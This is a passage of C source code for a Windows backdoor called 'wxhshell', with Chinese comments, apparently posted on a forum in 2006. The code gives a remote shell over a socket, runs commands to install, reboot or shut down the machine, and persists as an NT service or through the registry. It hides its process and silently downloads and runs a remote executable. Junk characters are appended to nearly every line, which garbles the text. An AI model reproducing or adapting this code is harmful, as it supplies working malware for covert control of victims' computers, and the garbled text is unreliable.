  else { {B,r  
iw)^; 8q  
    switch(cmd[0]) { }vspjplk^  
  %jnSJjcq  
  // 帮助 *eb2()B%  
  case '?': { [K4wd%+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yo@S.7[/  
    break; *D6X&Hg&5  
  } rj> _L  
  // 安装  Q  
  case 'i': { 5y%-K=d  
    if(Install()) Hd9vS"TN]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8,m3]Lg  
    else %}0B7_6B+@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -T+7u  
    break; kjVJ!R\  
    } ]31UA>/TI  
  // 卸载 Ccx1#^`  
  case 'r': { ?N/6m  
    if(Uninstall()) eg$y,Tx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7mRUDz  
    else k}h\RCy%f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g&oAa;~o  
    break; ;R x Rap  
    } r}]%(D](v  
  // 显示 wxhshell 所在路径 ? j8S.d~  
  case 'p': { *%,{<C,Y  
    char svExeFile[MAX_PATH]; DpZO$5.Ec+  
    strcpy(svExeFile,"\n\r"); a][QY1E@?  
      strcat(svExeFile,ExeFile); Yl#|+xYA5[  
        send(wsh,svExeFile,strlen(svExeFile),0); jJOs`'~Q\  
    break; !0k'fYCa  
    } sN%#e+(=  
  // 重启 *dw6>G0U  
  case 'b': { DLP G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KqNbIw*sR  
    if(Boot(REBOOT)) ]1k"'XG4,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}oqs0xx  
    else { GZ@`}7b}  
    closesocket(wsh); J jp)%c#_  
    ExitThread(0); yv2N5IQ>{V  
    } ?cRGdLP'D  
    break; b!J%s   
    } 1#m'u5L  
  // 关机 B=p6p f  
  case 'd': { q }'ww  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mtunD;_Dek  
    if(Boot(SHUTDOWN)) rrL gBeQa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Un[ 0or  
    else { U:1cbD7|3  
    closesocket(wsh); Gi=s|vt  
    ExitThread(0); t6JM%  
    } $ /p/9 -  
    break; CfMCc:8mL  
    } rQ*Fc~^L  
  // 获取shell 2/ES.>K!.  
  case 's': {  <RaM@E  
    CmdShell(wsh); :psP|7%|  
    closesocket(wsh); ?n0Z4 8%  
    ExitThread(0); l1?$quM^V  
    break; `{GI^kgJ9  
  } P56B~M_  
  // 退出 *@1(!A  
  case 'x': { V@C8HTg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/;%{@G)  
    CloseIt(wsh); K\3N_ztu  
    break; )5NjwLs  
    } tzn+ M0'  
  // 离开 g,61'5\  
  case 'q': { iT2{3 t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .4&pi  
    closesocket(wsh); ^ b`wf"A  
    WSACleanup(); %/:0x:ns  
    exit(1); }\$CU N  
    break; BD.>aAi!  
        } b$W~w*O   
  } %&[=%zc  
  } #PJHwvr  
"z6 xS;  
  // 提示信息 E'ay @YAp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;if PqL kO  
} N R0"yJV>  
  } C^^AN~ZD  
r\."=l  
  return; ZCC T  
} 618k-  
#q mv(VB4  
// shell模块句柄 rY,zZR+@  
int CmdShell(SOCKET sock) |mp~d<&  
{ FBP'AL|  
STARTUPINFO si; t3(~aH  
ZeroMemory(&si,sizeof(si)); JLn)U4>z w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BV-(`#~:y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V=cJdF  
PROCESS_INFORMATION ProcessInfo; s'4%ZE2Dr  
char cmdline[]="cmd"; Zk:_Yiki&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qvs&*lBY  
  return 0; x=VLTH/oo  
} RoLN#  
089 <B& <  
// 自身启动模式 aT_%G&.  
int StartFromService(void) w}WfQj  
{ =v:}{~M^$  
typedef struct 2K VX  
{ Mc@_[q!xY?  
  DWORD ExitStatus; 6F8TiR&  
  DWORD PebBaseAddress; vi; yT.  
  DWORD AffinityMask; pt_]&3\e  
  DWORD BasePriority; 3o^~6A  
  ULONG UniqueProcessId; ~LF1$Cai  
  ULONG InheritedFromUniqueProcessId; rf=oH }  
}   PROCESS_BASIC_INFORMATION; %F2T`?t:  
57jDsQAj  
PROCNTQSIP NtQueryInformationProcess; =_=0l+\}  
{\u6Cjx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zb,YYE1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i[4t`v'Dk  
@=NTr  
  HANDLE             hProcess; K 3.z>.F'h  
  PROCESS_BASIC_INFORMATION pbi; k@ So l6  
`P/87=h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~o X`Gih  
  if(NULL == hInst ) return 0; U)6Ew4uRxV  
\ !qe@h<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $g&_7SJ@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yW]>v>l:Eg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H g04pZupN  
oH"VrS 6  
  if (!NtQueryInformationProcess) return 0; vtw97G  
ecMpU8}rR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ie7S'.Lmq  
  if(!hProcess) return 0; q${+I(b,  
.Mxt F\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 49tJ+J-N  
A)80qx:  
  CloseHandle(hProcess); Uo0[ZsFD  
=: =s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sUk&NM%>  
if(hProcess==NULL) return 0; = J0r,dR  
P%y9fU2[  
HMODULE hMod; qS/ 'Kyp_  
char procName[255]; 4Dw| I${O  
unsigned long cbNeeded; orZwm9#].  
08_<G`r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X- P%^mK  
R@ MXwP  
  CloseHandle(hProcess); L~!Lq4]V\g  
0 } |21YED  
if(strstr(procName,"services")) return 1; // 以服务启动 (YY!e2  
MZ%S3'  
  return 0; // 注册表启动 (vPE?^}b  
} '-V[t yE  
l9+)h }  
// 主模块 X&gXhr#dL\  
int StartWxhshell(LPSTR lpCmdLine) tpQ8 m(  
{ |[iEi  
  SOCKET wsl; }*|aVBvU  
BOOL val=TRUE; ZK`x(h{p)  
  int port=0; L.x`Jpq(3  
  struct sockaddr_in door; wpf  
`,s0^?_  
  if(wscfg.ws_autoins) Install(); Mi<}q@]e  
T~naAP  
port=atoi(lpCmdLine); Z|BOuB^   
9Idgib&  
if(port<=0) port=wscfg.ws_port; o@qI!?p&  
`^: v+!  
  WSADATA data; F> b<t.yV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *fp4u_:`  
q9B5>Ye)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kf1 (  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &G aI  
  door.sin_family = AF_INET; v%)=!T ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2#Y5*r's\  
  door.sin_port = htons(port); ]D@y""{--s  
J@RV^2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?MD\\gN  
closesocket(wsl); tg;AF<VI  
return 1; 7 aN}l QM  
} v03 ^  
;5:3 =F>ao  
  if(listen(wsl,2) == INVALID_SOCKET) { ksV ^Y=]  
closesocket(wsl); \ocC'FmE  
return 1; lTJM}K  
} U(\ ^!S1  
  Wxhshell(wsl); n:[LsbTk  
  WSACleanup(); 7!q.MOYm  
ka<rlh<h  
return 0; fvM|Jb  
vqRW^>~-B  
} e$4l[&kH_  
NBO&VYs|  
// 以NT服务方式启动 eXCH*vZY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bdyIt)tK+  
{ K~14;  
DWORD   status = 0; V3[>^ZCA  
  DWORD   specificError = 0xfffffff; Jm3iYR+,  
q&@q /9kz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .xg, j{%(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {3G2-$yb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }O8#4-E_Ji  
  serviceStatus.dwWin32ExitCode     = 0; Os)}kkja  
  serviceStatus.dwServiceSpecificExitCode = 0; ^w~Utx4  
  serviceStatus.dwCheckPoint       = 0; ;mXw4_{  
  serviceStatus.dwWaitHint       = 0; B'KZ >jO  
YvPs   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !po29w:S  
  if (hServiceStatusHandle==0) return; ^:]~6p#  
J0yo@O  
status = GetLastError(); i]IZ0.?Y  
  if (status!=NO_ERROR) S*a_  
{ $qk(yzY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CDGN}Q2_  
    serviceStatus.dwCheckPoint       = 0; ?OdJ t  
    serviceStatus.dwWaitHint       = 0; "kkZK=}Nv  
    serviceStatus.dwWin32ExitCode     = status; qW t 9Tr  
    serviceStatus.dwServiceSpecificExitCode = specificError; BZRC0^-C@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jc,{ n*  
    return; so }Kb3n  
  } QW6\~l 4  
S@eI3Pk E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z=a{;1A  
  serviceStatus.dwCheckPoint       = 0; 2w67 >w\  
  serviceStatus.dwWaitHint       = 0; 84YZT+TEN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $jNp-5+Q;  
} n##d!d|g  
|d=MX>i|G  
// 处理NT服务事件,比如:启动、停止 ns9a+QQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j:J{m0  
{ bId@V[9  
switch(fdwControl) P:2 0i*QU  
{ ewv[nJD$  
case SERVICE_CONTROL_STOP: m'ykDK\B  
  serviceStatus.dwWin32ExitCode = 0; AE&IN.-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L }&$5KiwV  
  serviceStatus.dwCheckPoint   = 0; wEJ?Y8  
  serviceStatus.dwWaitHint     = 0; /]"2;e-s+  
  { y w>T1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ju0S&  
  } Dv[ 35[Yh  
  return; t"]~e"  
case SERVICE_CONTROL_PAUSE: %2TjG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U#1 ,]a\  
  break; tS&rR0<OW  
case SERVICE_CONTROL_CONTINUE: d=8q/]_p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u7kw/_f  
  break; oN " /w~  
case SERVICE_CONTROL_INTERROGATE: tQrkRg(E:  
  break; xbhU:,o  
}; Oa|'wh ug  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VJ$UpqVm  
} Ee-yP[2 *  
'}$$o1R  
// 标准应用程序主函数 Ae 3:"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xk$U+8K  
{ cG~-OHU  
H}B%OFI\+  
// 获取操作系统版本 [_?dpaTt  
OsIsNt=GetOsVer(); q/HwcX+[b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uQlQ%n%  
0N19R5NN8  
  // 从命令行安装 nnPY8pdjSD  
  if(strpbrk(lpCmdLine,"iI")) Install(); %{ToWLb{I  
C"!k`i=Lj  
  // 下载执行文件 ds"q1  
if(wscfg.ws_downexe) { ULIpb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ESt@%7.F  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zqnwf  
} x-HN]quhe  
=g+Rk+jn  
if(!OsIsNt) { "iY=1F"\R  
// 如果时win9x,隐藏进程并且设置为注册表启动 .#ASo!O5q  
HideProc(); @>sZ'M2mq  
StartWxhshell(lpCmdLine); 1O,<JrE+-  
} V,qc[*_3  
else mh=YrDU+L  
  if(StartFromService()) 2RC|u?+@  
  // 以服务方式启动 P\R#!+FgW8  
  StartServiceCtrlDispatcher(DispatchTable); KWH l+p L  
else q2C._{ 0'  
  // 普通方式启动 wio}<Y6Xz  
  StartWxhshell(lpCmdLine); _]# ^2S  
zs~v6y@  
return 0; zwa%$U  
}
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只看该作者 1 发表于: 2006-10-10
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